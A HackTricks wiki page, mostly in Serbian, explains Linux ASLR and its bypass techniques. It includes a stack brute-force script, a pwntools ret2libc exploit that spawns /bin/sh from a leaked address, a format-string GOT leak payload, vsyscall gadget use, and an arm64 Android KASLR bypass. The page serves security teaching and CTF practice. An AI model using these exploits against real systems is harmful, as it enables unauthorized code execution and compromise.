ASLR
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Address Space Layout Randomization (ASLR) je sigurnosna tehnika koju koriste operativni sistemi da bi nasumično rasporedila memorijske adrese koje koriste sistemski i aplikacioni procesi. Time se značajno otežava napadaču da predvidi lokaciju određenih procesa i podataka, kao što su stack, heap i libraries, čime se ublažavaju određeni tipovi exploits-a, naročito buffer overflows.
Provera statusa ASLR
Da biste proverili status ASLR-a na Linux sistemu, možete pročitati vrednost iz fajla /proc/sys/kernel/randomize_va_space. Vrednost koja je zapisana u ovom fajlu određuje tip ASLR-a koji se primenjuje:
- 0: Nema randomizacije. Sve je statično.
- 1: Konzervativna randomizacija. Deljene biblioteke, stack, mmap(), VDSO page se randomizuju.
- 2: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana kroz
brk()se randomizuje.
Možete proveriti status ASLR-a sledećom komandom:
cat /proc/sys/kernel/randomize_va_space
Onemogućavanje ASLR
Da biste onemogućili ASLR, postavite vrednost /proc/sys/kernel/randomize_va_space na 0. Onemogućavanje ASLR-a generalno se ne preporučuje van scenarija testiranja ili otklanjanja grešaka. Evo kako to možete onemogućiti:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Takođe možete onemogućiti ASLR za izvršenje pomoću:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Omogućavanje ASLR
Da biste omogućili ASLR, možete upisati vrednost 2 u fajl /proc/sys/kernel/randomize_va_space. To obično zahteva root privilegije. Potpunu randomizaciju možete omogućiti sledećom komandom:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Trajnost nakon ponovnog pokretanja
Promene napravljene pomoću echo komandi su privremene i biće poništene pri ponovnom pokretanju. Da biste učinili promenu trajnom, potrebno je izmeniti fajl /etc/sysctl.conf i dodati ili izmeniti sledeću liniju:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Nakon uređivanja /etc/sysctl.conf, primeni promene pomoću:
sudo sysctl -p
Ovo će osigurati da vaša ASLR podešavanja ostanu nakon ponovnog pokretanja.
Zaobilaženja
32bit brute-forcing
PaX deli adresni prostor procesa na 3 grupe:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—> 16 bits entropije udelta_execvarijabli. Ova varijabla se nasumično inicijalizuje za svaki proces i dodaje se početnim adresama. - Memory alocirana pomoću
mmap()i deljene biblioteke —> 16 bits, nazvanadelta_mmap. - The stack —> 24 bits, nazvan
delta_stack. Međutim, efektivno koristi 11 bits (od 10. do 20. bajta uključivo), poravnato na 16 bytes —> Ovo rezultira u 524,288 mogućih stvarnih stack adresa.
Gore navedeni podaci odnose se na 32-bitne sisteme, a smanjena konačna entropija omogućava zaobilaženje ASLR-a ponovnim pokušajima izvršavanja dok exploit ne uspe.
Brute-force ideas:
- Ako imate dovoljno veliki overflow da smesti veliki NOP sled before the shellcode, možete jednostavno brute-force-ovati adrese na stacku dok tok preskoči neki deo NOP sled-a.
- Druga opcija, ako overflow nije toliko velik i exploit se može pokrenuti lokalno, jeste da dodate NOP sled i shellcode u environment variable.
- Ako je exploit lokalni, možete pokušati brute-force-ovati baznu adresu libc-a (korisno za 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Ako napadate remote server, možete pokušati da brute-force adresu
libcfunkcijeusleep, prosleđujući kao argument 10 (na primer). Ako u nekom trenutku server odgovori 10s sporije, pronašli ste adresu te funkcije.
Tip
U 64bit systems entropija je mnogo veća i ovo ne bi trebalo da bude moguće.
64 bits stack brute-forcing
Moguće je zauzeti veliki deo stack pomoću env variables i zatim stotine/hiljade puta lokalno pokušavati da abuse binary da biste ga exploit-ovali.
Sledeći kod pokazuje kako je moguće samo odabrati adresu u stack i na svakih nekoliko stotina izvršavanja ta adresa će sadržati NOP instruction:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP detekcija
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Lokalne informacije (`/proc/[pid]/stat`)
Fajl **`/proc/[pid]/stat`** procesa je uvek čitljiv svima i on **sadrži zanimljive** informacije kao što su:
- **startcode** & **endcode**: Adrese iznad i ispod koje obuhvataju **TEXT** binarnog fajla
- **startstack**: Adresa početka **stack**-a
- **start_data** & **end_data**: Adrese iznad i ispod gde se nalazi **BSS**
- **kstkesp** & **kstkeip**: Trenutne **ESP** i **EIP** adrese
- **arg_start** & **arg_end**: Adrese iznad i ispod gde se nalaze **cli arguments**
- **env_start** &**env_end**: Adrese iznad i ispod gde se nalaze **env variables**
Dakle, ako je napadač na istom računaru kao binarni koji se eksploatiše i taj binarni ne očekuje overflow iz raw arguments, već iz drugog **input**-a koji se može napraviti nakon čitanja ovog fajla, moguće je da napadač dobije neke adrese iz ovog fajla i konstruiše ofsete iz njih za exploit.
> [!TIP]
> Za više informacija o ovom fajlu pogledajte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) pretraživanjem za `/proc/pid/stat`
### Imati leak
- **Zadatak daje leak**
Ako vam je dat leak (laki CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući, na primer, da znate tačnu verziju libc-a koja se koristi u sistemu koji eksploatišete). Ovaj primer exploit-a je izvučen iz [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (pogledajte tu stranicu za više detalja):
<details>
<summary>Python exploit sa datim libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Zloupotrebom buffer overflow-a moguće je iskoristiti ret2plt da exfiltrate adresu funkcije iz libc. Proveri:
- Format Strings Arbitrary Read
Baš kao i u ret2plt, ako imaš arbitrary read preko format strings vulnerability, moguće je exfiltrate adresu libc function iz GOT. Sledeći example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
Pokušajte da zaobiđete ASLR zloupotrebom adresa unutar steka:
vsyscall
The vsyscall mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of vsyscalls lies in their fixed addresses, which are not subject to ASLR (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.
Međutim, ovde se neće naći naročito zanimljivi gadgets (iako je, na primer, moguće dobiti ekvivalent ret;)
(The following example and code is from this writeup)
For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.
Primer vmmap/vsyscall i gadget lookup
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Obratite pažnju kako može biti moguće da bypass ASLR abusing the vdso ako je kernel kompajliran sa CONFIG_COMPAT_VDSO jer adresa vdso neće biti randomizovana. Za više informacija pogledajte:
KASLR on ARM64 (Android): bypass via fixed linear map
Na mnogim arm64 Android kernelima baza kernel linear map (direct map) je fiksna između boot-ova. Kernel VAs za fizičke stranice postaju predvidivi, lomeći KASLR za mete koje su dostupne preko direct map.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsto findmemstart_addr- Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling
BPF_FUNC_probe_read_kernel) - Compute direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
- Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> adresamemstart_addr- Kernel read -> dekodirajte 8 bajtova LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
Pristup tracing-BPF helpers zahteva dovoljne privilegije; bilo koji kernel read primitive ili info leak je dovoljan da se dobije
PHYS_OFFSET.
How it’s fixed
- Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
- Upstream arm64 removed linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

